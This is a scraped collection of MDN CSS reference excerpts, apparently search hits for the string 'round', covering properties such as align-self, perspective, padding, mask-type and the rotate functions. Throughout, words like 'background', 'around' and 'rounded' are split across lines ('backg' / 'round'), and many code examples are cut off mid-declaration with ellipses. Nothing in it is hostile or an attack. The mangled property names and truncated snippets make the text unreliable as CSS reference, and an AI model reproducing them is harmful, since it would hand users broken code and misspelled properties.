...this creates a circle shape, and the content wrapping the float now wraps a
round that shape.
CSS Tutorials - CSS: Cascading Style Sheets
using multiple backg
rounds backg
rounds are fundamental for nice styling: css allows you to set several of them on each box.
... scaling backg
round images css allows you to resize images used as an element's backg
round.
align-self - CSS: Cascading Style Sheets
syntax /* keyword values */ align-self: auto; align-self: normal; /* positional alignment */ /* align-self does not take left and right values */ align-self: center; /* put the item a
round the center */ align-self: start; /* put the item at the start */ align-self: end; /* put the item at the end */ align-self: self-start; /* align the item flush at the start */ align-self: self-end; /* align the item flush at the end */ align-self: flex-start; /* put the flex item at the start */ align-self: flex-end; /* put the flex item at the end */ /* baseline alignment */ align-self: baselin...
...baseline<overflow-position> = unsafe | safe<self-position> = center | start | end | self-start | self-end | flex-start | flex-end examples html <section> <div>item #1</div> <div>item #2</div> <div>item #3</div> </section> css section { display: flex; align-items: center; height: 120px; backg
round: beige; } div { height: 60px; backg
round: cyan; margin: 5px; } div:nth-child(3) { align-self: flex-end; backg
round: pink; } result specifications specification status comment css box alignment module level 3the definition of 'align-self' in that specification.
animation-timing-function - CSS: Cascading Style Sheets
class="easeout">ease-out</div> <div class="easeinout">ease-in-out</div> <div class="linear">linear</div> <div class="cb">cubic-bezier(0.2,-2,0.8,2)</div> </div> .parent > div[class] { animation-name: changeme; animation-duration: 10s; animation-iteration-count: infinite; margin-bottom: 4px; } @keyframes changeme { 0% { min-width: 12em; width: 12em; backg
round-color: black; border: 1px solid red; color: white; } 100% { width: 90vw; min-width: 24em; backg
round-color: magenta; color: yellow; border: 1px solid orange; } } .ease { animation-timing-function: ease; } .easein { animation-timing-function: ease-in; } .easeout { animation-timing-function: ease-out; } .easeinout { animation-timing-...
...jump-none</div> <div class="start">start</div> <div class="end">end</div> <div class="step-start">step-start</div> <div class="step-end">step-end</div> </div> .parent > div[class] { animation-name: changeme; animation-duration: 10s; animation-iteration-count: infinite; margin-bottom: 4px; } @keyframes changeme { 0% { min-width: 12em; width: 12em; backg
round-color: black; border: 1px solid red; color: white; } 100% { width: 90vw; min-width: 24em; backg
round-color: magenta; color: yellow; border: 1px solid orange; } } .jump-start { animation-timing-function: steps(5, jump-start); } .jump-end { animation-timing-function: steps(5, jump-end); } .jump-none { animation-timing-function: steps(5,...
backface-visibility - CSS: Cascading Style Sheets
ne; } .cube { width: 100%; height: 100%; perspective: 550px; perspective-origin: 150% 150%; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front { backg
round: rgba(0, 0, 0, 0.3); transform: translatez(50px); } .back { backg
round: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right { backg
round: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left { backg
round: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } .top { backg
round: rgba(196, 196, 0, 0.7); t...
...ransform: rotatex(90deg) translatez(50px); } .bottom { backg
round: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the table a little nicer */ th, p, td { backg
round-color: #eeeeee; margin: 0px; padding: 6px; font-family: sans-serif; text-align: left; } result specifications specification status comment css transforms level 2the definition of 'backface-visibility' in that specification.
border-bottom-color - CSS: Cascading Style Sheets
it also applies to ::first-letter.inheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples a simple div with a border html <div class="mybox"> <p>this is a box with a border a
round it.
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-bottom-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-bottom-color' in that specification.
border-bottom-style - CSS: Cascading Style Sheets
d> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 3px; backg
round-color: #52e385; } tr, td { padding: 3px; } /* border-bottom-style example classes */ .b1 {border-bottom-style: none;} .b2 {border-bottom-style: hidden;} .b3 {border-bottom-style: dotted;} .b4 {border-bottom-style: dashed;} .b5 {border-bottom-style: solid;} .b6 {border-bottom-style: double;} .b7 {border-bottom-style: groove;} .b8 {border-bottom-style: ridge;} .b9 {border-bottom-style: inset;} .
...b10 {border-bottom-style: outset;} result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-bottom-style' in that specification.
border-left-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples a simple div with a border html <div class="mybox"> <p>this is a box with a border a
round it.
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-left-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-left-color' in that specification.
border-right-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples a simple div with a border html <div class="mybox"> <p>this is a box with a border a
round it.
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-right-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-right-color' in that specification.
border-top-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples a simple div with a border html <div class="mybox"> <p>this is a box with a border a
round it.
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-top-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-top-color' in that specification.
border-top-style - CSS: Cascading Style Sheets
d> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 2px; backg
round-color: #52e385; } tr, td { padding: 3px; } /* border-top-style example classes */ .b1 {border-top-style: none;} .b2 {border-top-style: hidden;} .b3 {border-top-style: dotted;} .b4 {border-top-style: dashed;} .b5 {border-top-style: solid;} .b6 {border-top-style: double;} .b7 {border-top-style: groove;} .b8 {border-top-style: ridge;} .b9 {border-top-style: inset;} .b10 {border-top-style: outset;...
...} result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-top-style' in that specification.
caret-color - CSS: Cascading Style Sheets
for example, many browsers have a “navigation caret,” which acts similarly to an insertion caret but can be moved a
round in non-editable text.
...this is generally currentcolor, but the user agent may choose a different color to ensure good visibility and contrast with the sur
rounding content, taking into account the value of currentcolor, the backg
round, shadows, and other factors.
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
the value display: inline-block has been a
round since the early days of css.
... the reason we tend to use it is to allow padding to push inline items away from an element, when creating navigation items for example, or when wanting to add a backg
round with padding to an inline element as in the example below.
<filter-function> - CSS: Cascading Style Sheets
op-shadow</option> <option>grayscale</option> <option>hue-rotate</option> <option>invert</option> <option>opacity</option> <option>saturate</option> <option>sepia</option> </select> </li> <li> <input type="range"><output></output> </li> <li> <p>current value: <code></code></p> </li> </ul> css div { width: 300px; height: 300px; backg
round: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center; } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } input { width: 60% } output { width: 5%; text-align: center; } select { width: 40%; margin-left: 2px; } javascript const selectelem = document.querysel...
... 0; slider.min = 0; slider.max = 1; slider.step = 0.01; slider.setattribute('data-unit', ''); } else if(filter === 'hue-rotate') { slider.value = 0; slider.min = 0; slider.max = 360; slider.step = 1; slider.setattribute('data-unit', 'deg'); } } function setdiv(filter) { if(filter === 'drop-shadow') { divelem.style.filter = `${selectelem.value}(${math.
round(slider.value)}${slider.getattribute('data-unit')} ${math.
round(slider.value)}${slider.getattribute('data-unit')} ${math.
round(math.abs(slider.value/2))}${slider.getattribute('data-unit')})`; } else { divelem.style.filter = `${selectelem.value}(${slider.value}${slider.getattribute('data-unit')}`; } updateoutput(); updatecurvalue(); } function updateoutput() { output.textcontent = s...
float - CSS: Cascading Style Sheets
the float css property places an element on the left or right side of its container, allowing text and inline elements to wrap a
round it.
...phasellus feugiat est vel leo finibus congue.</p> </section> css section { border: 1px solid blue; width: 100%; float: left; } div { margin: 5px; width: 50px; height: 150px; } .left { float: left; backg
round: pink; } .right { float: right; backg
round: cyan; } result clearing floats sometimes you may want to force an item to move below any floated elements.
gap (grid-gap) - CSS: Cascading Style Sheets
examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #flexbox { display: flex; flex-wrap: wrap; width: 300px; gap: 20px 5px; } #flexbox > div { border: 1px solid green; backg
round-color: lime; flex: 1 1 auto; width: 100px; height: 50px; } result grid layout html <div id="grid"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #grid { grid-gap: 20px 5px; } #grid { display: grid; height: 200px; grid-template: repeat(3, 1fr) / repeat(3, 1fr); gap: 20px 5px; } ...
... #grid > div { border: 1px solid green; backg
round-color: lime; } result multi-column layout html <p class="content-box"> this is some multi-column text with a 40px column gap created with the css <code>gap</code> property.
image-orientation - CSS: Cascading Style Sheets
it is
rounded to the nearest 90deg (0.25turn).
... formal definition initial value0degapplies toall elementsinheritedyescomputed valuean <angle>,
rounded to the next quarter turn from 0deg and normalized, that is moduloing the value by 1turnanimation typediscrete formal syntax from-image | <angle> | [ <angle>?
image-set() - CSS: Cascading Style Sheets
examples backg
round-image: image-set( "cat.png" 1x, "cat-2x.png" 2x, "cat-print.png" 600dpi); this example shows how to use image-set() to provide two alternative backg
round-image options, chosen depending on the resolution needed: a normal version and a high-resolution version.
... accessibility concerns browsers do not provide any special information on backg
round images to assistive technology.
<image> - CSS: Cascading Style Sheets
css determines an object's concrete size using (1) its intrinsic dimensions; (2) its specified size, defined by css properties like width, height, or backg
round-size; and (3) its default size, determined by the kind of property the image is used with: kind of object (css property) default object size backg
round-image the size of the element's backg
round positioning area list-style-image the size of a 1em character border-image-source the size of the element's border image area cursor the br...
... accessibility concerns browsers do not provide any special information on backg
round images to assistive technology.
justify-items - CSS: Cascading Style Sheets
e positioned and table layout) in flexbox layouts, this property is ignored (more about alignment in flexbox) in grid layouts, it aligns the items inside their grid areas on the inline axis (more about alignment in grid layouts) syntax /* basic keywords */ justify-items: auto; justify-items: normal; justify-items: stretch; /* positional alignment */ justify-items: center; /* pack items a
round the center */ justify-items: start; /* pack items from the start */ justify-items: end; /* pack items from the end */ justify-items: flex-start; /* equivalent to 'start'.
... html <article class="container" tabindex="0"> <span>first child</span> <span>second child</span> <span>third child</span> <span>fourth child</span> </article> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; } article { backg
round-color: red; display: grid; grid-template-columns: 1fr 1fr; grid-auto-rows: 40px; grid-gap: 10px; width: 300px; justify-items: stretch; } article:hover, article:focus { justify-items: center; } article span { backg
round-color: black; color: white; margin: 1px; text-align: center; } article, span { padding: 10px; border-radius: 7px; } article { margin: 20px; } resul...
justify-self - CSS: Cascading Style Sheets
k, absolute positioned and table layout) in flexbox layouts, this property is ignored (more about alignment in flexbox) in grid layouts, it aligns an item inside its grid area on the inline axis (more about alignment in grid layouts) syntax /* basic keywords */ justify-self: auto; justify-self: normal; justify-self: stretch; /* positional alignment */ justify-self: center; /* pack item a
round the center */ justify-self: start; /* pack item from the start */ justify-self: end; /* pack item from the end */ justify-self: flex-start; /* equivalent to 'start'.
... html <article class="container"> <span>first child</span> <span>second child</span> <span>third child</span> <span>fourth child</span> </article> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; } article { backg
round-color: red; display: grid; grid-template-columns: 1fr 1fr; grid-auto-rows: 40px; grid-gap: 10px; width: 300px; justify-items: stretch; } span:nth-child(2) { justify-self: start; } span:nth-child(3) { justify-self: center; } span:nth-child(4) { justify-self: end; } article span { backg
round-color: black; color: white; margin: 1px; text-align: center; } article, span { ...
left - CSS: Cascading Style Sheets
0px; right: 20px; </pre> <p>absolute position inside of a parent with relative position</p> </div> <div id="example_5"> <pre> position: absolute; right: 0; left: 0; top: 200px; </pre> <p>absolute position with both left and right declared</p> </div> </div> </div> css #wrap { width: 700px; margin: 0 auto; backg
round: #5c5c5c; } pre { white-space: pre; white-space: pre-wrap; white-space: pre-line; word-wrap: break-word; } #example_1 { width: 200px; height: 200px; position: absolute; left: 20px; top: 20px; backg
round-color: #d8f5ff; } #example_2 { width: 200px; height: 200px; position: relative; top: 0; right: 0; backg
round-color: #c1ffdb; } #example_3 { width: 600px; he...
...ight: 400px; position: relative; top: 20px; left: 20px; backg
round-color: #ffd7c2; } #example_4 { width:200px; height:200px; position:absolute; bottom:10px; right:20px; backg
round-color:#ffc7e4; } #example_5 { position: absolute; right: 0; left: 0; top: 100px; backg
round-color: #d7ffc2; } result specifications specification status comment css positioned layout module level 3the definition of 'left' in that specification.
line-height-step - CSS: Cascading Style Sheets
when the property is set, line box heights are
rounded up to the closest multiple of the unit.
... formal definition initial value0applies toblock containersinheritedyescomputed valueabsolute <length>animation typediscrete formal syntax <length> examples setting step unit for line box height in the following example, the height of line box in each paragraph is
rounded up to the step unit.
margin - CSS: Cascading Style Sheets
note: margins create extra space a
round an element.
... formal syntax [ <length> | <percentage> | auto ]{1,4} examples simple example html <div class="center">this element is centered.</div> <div class="outside">this element is positioned outside of its container.</div> css .center { margin: auto; backg
round: lime; width: 66%; } .outside { margin: 3rem 0 0 -3rem; backg
round: cyan; width: 66%; } more examples margin: 5%; /* all sides: 5% margin */ margin: 10px; /* all sides: 10px margin */ margin: 1.6em 20px; /* top and bottom: 1.6em margin */ /* left and right: 20px margin */ margin: 10px 3% -1em; /* top: ...
mask-position - CSS: Cascading Style Sheets
formal definition initial valuecenterapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrefer to size of mask painting area minus size of mask layer image (see the text for backg
round-position)computed valueconsists of two keywords representing the origin and two offsets from that origin, each given as an absolute length (if given a <length>), otherwise as a percentage.animation typerepeatable list of simple list of length, percentage, or calc formal syntax <position>#where <position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <leng...
...| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples setting mask position css #wrapper { border: 1px solid black; width: 250px; height: 250px; } #masked { width: 250px; height: 250px; backg
round: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-repeat: no-repeat; mask-position: top right; /* can be changed in the live sample */ margin-bottom: 10px; } html <div id="wrapper"> <div id="masked"> </div> </div> <select id="maskposition"> <option value="top">top</option> <option value="center">center</option> <option value="bottom">bottom</option>...
mask-type - CSS: Cascading Style Sheets
iv> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:alpha"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px; backg
round-color: rgb(128, 128, 128); border: solid 1px black; mask: url("#m"); } result setting a luminance mask html <div class="redsquare"></div> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:luminance"> <rect x=".1" y=".1" widt...
...h=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px; backg
round-color: rgb(128, 128, 128); border: solid 1px black; mask: url("#m"); mask-type:luminance; } result specifications specification status comment css masking module level 1the definition of 'mask-type' in that specification.
object-position - CSS: Cascading Style Sheets
areas of the box which aren't covered by the replaced element's object will show the element's backg
round.
... img { width: 300px; height: 250px; border: 1px solid black; backg
round-color: silver; margin-right: 1em; object-fit: none; } #object-position-1 { object-position: 10px; } #object-position-2 { object-position: 100% 10%; } the first image is positioned with its left edge inset 10 pixels from the left edge of the element's box.
offset-position - CSS: Cascading Style Sheets
for more explanation of these value types, see backg
round-position.
...eft | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples setting initial offset position <div id="motion-demo"></div> #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); offset-position: left top; animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; backg
round: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } specifications specification status comment motion path module level 1the definition of 'offset-position' in that specification.
overscroll-behavior-block - CSS: Cascading Style Sheets
html <main> <div> <div> <p><code>overscroll-behavior-block</code> has been used to make it so that when the scroll boundaries of the yellow inner box are reached, the whole page does not begin to scroll.</p> </div> </div> </main> css main { height: 3000px; width: 500px; backg
round-color: white; backg
round-image: repeating-linear-gradient(to bottom, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } main > div { height: 300px; width: 400px; overflow: auto; position: relative; top: 50px; left: 50px; overscroll-behavior-block: contain; } div > div { height: 1500px; width: 100%; backg
round-color: yellow; backg
round-image: repeating-linear...
...-gradient(to bottom, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } p { padding: 10px; backg
round-color: rgba(255,0,0,0.5); margin: 0; width: 340px; position: relative; top: 10px; left: 10px; } result specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-block' in that specification.
overscroll-behavior-inline - CSS: Cascading Style Sheets
html <main> <div> <div> <p><code>overscroll-behavior-inline</code> has been used to make it so that when the scroll boundaries of the yellow inner box are reached, the whole page does not begin to scroll.</p> </div> </div> </main> css main { height: 400px; width: 3000px; backg
round-color: white; backg
round-image: repeating-linear-gradient(to right, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } main > div { height: 300px; width: 400px; overflow: auto; position: relative; top: 50px; left: 50px; overscroll-behavior-inline: contain; } div > div { height: 100%; width: 1500px; backg
round-color: yellow; backg
round-image: repeating-linear...
...-gradient(to right, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } p { padding: 10px; backg
round-color: rgba(255,0,0,0.5); margin: 0; width: 360px; position: relative; top: 10px; left: 10px; } result specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-inline' in that specification.
padding - CSS: Cascading Style Sheets
in contrast, margin creates extra space a
round an element.
...ercentage as specified or the absolute lengthpadding-right: the percentage as specified or the absolute lengthpadding-top: the percentage as specified or the absolute lengthanimation typea length formal syntax [ <length> | <percentage> ]{1,4} examples setting padding with pixels html <h4>this element has moderate padding.</h4> <h3>the padding is huge in this element!</h3> css h4 { backg
round-color: lime; padding: 20px 50px; } h3 { backg
round-color: cyan; padding: 110px 50px 50px 110px; } result setting padding with pixels and percentages padding: 5%; /* all sides: 5% padding */ padding: 10px; /* all sides: 10px padding */ padding: 10px 20px; /* top and bottom: 10px padding */ /* left and right: 20px paddin...
paint() - CSS: Cascading Style Sheets
in this example, we passed two arguments: whether the backg
round-image on a group of list items is filled or just has a stroke outline, and the width of that outline: <ul> <li>item 1</li> <li>item 2</li> <li>item 3</li> <li>item 4</li> <li>item 5</li> <li>item 6</li> <li>item 7</li> <li>item 8</li> <li>item 9</li> <li>item 10</li> <li>item 11</li> <li>item 12</li> <li>item 13</li> <li>item 14</li> <li...
...>item 15</li> <li>item 16</li> <li>item 17</li> <li>item 18</li> <li>item 19</li> <li>item 20</li> </ul> css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/worklets/hilite.js'); li { --boxcolor: hsla(55, 90%, 60%, 1.0); backg
round-image: paint(hollowhighlights, stroke, 2px); } li:nth-of-type(3n) { --boxcolor: hsla(155, 90%, 60%, 1.0); backg
round-image: paint(hollowhighlights, filled, 3px); } li:nth-of-type(3n+1) { --boxcolor: hsla(255, 90%, 60%, 1.0); backg
round-image: paint(hollowhighlights, stroke, 1px); } we've included a custom property in the selector block defining a boxcolor.
perspective-origin - CSS: Cascading Style Sheets
one; } .cube { width: 100%; height: 100%; backface-visibility: visible; perspective: 300px; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front { backg
round: rgba(0, 0, 0, 0.3); transform: translatez(50px); } .back { backg
round: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right { backg
round: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left { backg
round: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } .top { backg
round: rgba(196, 196, 0, 0.7); trans...
...form: rotatex(90deg) translatez(50px); } .bottom { backg
round: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the layout a little nicer */ section { backg
round-color: #eee; padding: 10px; font-family: sans-serif; text-align: left; display: grid; grid-template-columns: repeat(3, 1fr); } result specifications specification status comment css transforms level 2the definition of 'perspective-origin' in that specification.
perspective - CSS: Cascading Style Sheets
be { width: 100%; height: 100%; backface-visibility: visible; perspective-origin: 150% 150%; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front { backg
round: rgba(0, 0, 0, 0.3); transform: translatez(50px); } .back { backg
round: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right { backg
round: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left { backg
round: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } .top { backg
round: rgba(196, 196, 0, 0.7); t...
...ransform: rotatex(90deg) translatez(50px); } .bottom { backg
round: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the table a little nicer */ th, p, td { backg
round-color: #eeeeee; padding: 10px; font-family: sans-serif; text-align: left; } result specifications specification status comment css transforms level 2the definition of 'perspective' in that specification.
place-items - CSS: Cascading Style Sheets
examples placing items in a flex container div > div { box-sizing: border-box; border: 2px solid #8c8c8c; width: 50px; display: flex; align-items: center; justify-content: center; } #item1 { backg
round-color: #8cffa0; min-height: 30px; } #item2 { backg
round-color: #a0c8ff; min-height: 50px; } #item3 { backg
round-color: #ffa08c; min-height: 40px; } #item4 { backg
round-color: #ffff8c; min-height: 60px; } #item5 { backg
round-color: #ff8cff; min-height: 70px; } #item6 { backg
round-color: #8cffff; min-height: 50px; font-size: 30px; } select { font-size: 16px; } .row ...
... = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.placeitems = evt.target.value; }); display.addeventlistener('change', function (evt) { container.classname = evt.target.value; }); css #container { height:200px; width: 240px; place-items: center; /* you can change this value by selecting another option in the list */ backg
round-color: #8c8c8c; } .flex { display: flex; flex-wrap: wrap; } .grid { display: grid; grid-template-columns: repeat(auto-fill, 50px); } result specifications specification status comment css box alignment module level 3the definition of 'place-items' in that specification.
repeating-linear-gradient() - CSS: Cascading Style Sheets
for this reason, repeating-linear-gradient() won't work on backg
round-color and other properties that use the <color> data type.
... and <color-stop-length> = [ <percentage> | <length> ]{1,2} and <color-hint> = [ <percentage> | <length> ] examples zebra stripes body { width: 100vw; height: 100vh; } body { backg
round-image: repeating-linear-gradient(-45deg, transparent, transparent 20px, black 20px, black 40px); /* with multiple color stop lengths */ backg
round-image: repeating-linear-gradient(-45deg, transparent 0 20px, black 20px 40px); } ten repeating horizontal bars body { width: 100vw; height: 100vh; } body { backg
round-image: repeating-linear-gradien...
right - CSS: Cascading Style Sheets
onding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples absolute and relative positioning using right html <div id="relative">relatively positioned</div> <div id="absolute">absolutely positioned</div> css #relative { width: 100px; height: 100px; backg
round-color: #ffc7e4; position: relative; top: 20px; left: 20px; } #absolute { width: 100px; height: 100px; backg
round-color: #ffd7c2; position: absolute; bottom: 10px; right: 20px; } result declaring both left and right when both left and right are declared, the element will stretch to meet both, unless other constraints prevent it from doing so.
... html <div id="parent">parent <div id="nowidth">no width</div> <div id="width">width: 100px</div> </div> css div { outline: 1px solid #cccccc; } #parent { width: 200px; height: 200px; backg
round-color: #ffc7e4; position: relative; } /* declare both a left and a right */ #width, #nowidth { backg
round-color: #c2ffd7; position: absolute; left: 0; right: 0; } /* declare a width */ #width { width: 100px; top: 60px; } result specifications specification status comment css positioned layout module level 3the definition of 'right' in that specific...
shape-image-threshold - CSS: Cascading Style Sheets
formal definition initial value0.0applies tofloatsinheritednocomputed valuethe same as the specified value after clipping the <number> to the range [0.0, 1.0].animation typea number formal syntax <alpha-value>where <alpha-value> = <number> | <percentage> examples aligning text to a gradient this example creates a <div> block with a gradient backg
round image.
...</p> css #gradient-shape { width: 150px; height: 150px; float: left; backg
round-image: linear-gradient(30deg, black, transparent 80%, transparent); shape-outside: linear-gradient(30deg, black, transparent 80%, transparent); shape-image-threshold: 0.2; } the shape is established here using backg
round-image with a linear gradient rather than an image file.
shape-margin - CSS: Cascading Style Sheets
the margin lets you adjust the distance between the edges of the shape (the float element) and the sur
rounding content.
... set them forth; but before the world was fashioned the square on the hypotenuse was equal to the sum of the squares on the other two sides of a right triangle, and it will be so after this world is dead; and the inhabitant of mars, if he exists, probably knows its truth as we know it.</section> css section { max-width: 400px; } .shape { float: left; width: 150px; height: 150px; backg
round-color: maroon; clip-path: polygon(0 0, 150px 150px, 0 150px); shape-outside: polygon(0 0, 150px 150px, 0 150px); shape-margin: 20px; } result specifications specification status comment css shapes module level 1the definition of 'shape-margin' in that specification.
text-decoration-color - CSS: Cascading Style Sheets
accessibility concerns it is important to ensure that the contrast ratio between the color of the text, the backg
round the text is placed over, and the text decoration line is high enough that people experiencing low vision conditions will be able to read the content of the page.
... color contrast ratio is determined by comparing the luminosity of the text and backg
round color values.
text-indent - CSS: Cascading Style Sheets
h> | <percentage> examples simple indent html <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> css p { text-indent: 5em; backg
round: powderblue; } result percentage indent html <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> css p { text-indent: 30%; back...
...g
round: plum; } result specifications specification status comment css text module level 3the definition of 'text-indent' in that specification.
text-rendering - CSS: Cascading Style Sheets
but if you request a font size of, say, 9 with a scale of 140%, the resulting font size of 12.6 doesn't explicitly exist in the font system, so the browser
rounds the font size to 12 instead.
...for large scale factors, you might see less-than-beautiful text rendering, but the size is what you would expect—neither
rounded up nor down to the nearest font size supported by windows or linux.
rotate3d() - CSS: Cascading Style Sheets
the rotate3d() css function defines a transformation that rotates an element a
round a fixed axis in 3d space, without deforming it.
...(1-cos(a))-y·sin(a)+xz·(1-cos(a))-z·sin(a)+xy·(1-cos(a))1+(1-cos(a))(y2-1)x·sin(a)+yz·(1-cos(a))ysin(a) + xz(1-cos(a))-xsin(a)+yz(1-cos(a))1+(1-cos(a))(z2-1)t0001 homogeneous coordinates on ℝℙ3 examples rotating on the y-axis html <div>normal</div> <div class="rotated">rotated</div> css body { perspective: 800px; } div { width: 80px; height: 80px; backg
round-color: skyblue; } .rotated { transform: rotate3d(0, 1, 0, 60deg); backg
round-color: pink; } result rotating on a custom axis html <div>normal</div> <div class="rotated">rotated</div> css body { perspective: 800px; } div { width: 80px; height: 80px; backg
round-color: skyblue; } .rotated { transform: rotate3d(1, 2, -1, 192deg); backg
round-color: pink; } result speci...
rotateX() - CSS: Cascading Style Sheets
the rotatex() css function defines a transformation that rotates an element a
round the abscissa (horizontal axis) without deforming it.
... 1000cos(a)-sin(a)0sin(a)cos(a) 10000cos(a)-sin(a)00sin(a)cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; backg
round-color: skyblue; } .rotated { transform: rotatex(45deg); backg
round-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatex()' in that specification.
rotateY() - CSS: Cascading Style Sheets
the rotatey() css function defines a transformation that rotates an element a
round the ordinate (vertical axis) without deforming it.
... cos(a)0sin(a)010-sin(a)0cos(a) cos(a)0sin(a)00100-sin(a)0cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; backg
round-color: skyblue; } .rotated { transform: rotatey(60deg); backg
round-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatey()' in that specification.
rotateZ() - CSS: Cascading Style Sheets
the rotatez() css function defines a transformation that rotates an element a
round the z-axis without deforming it.
... cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)00 sin(a)cos(a)00 0010 0001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; backg
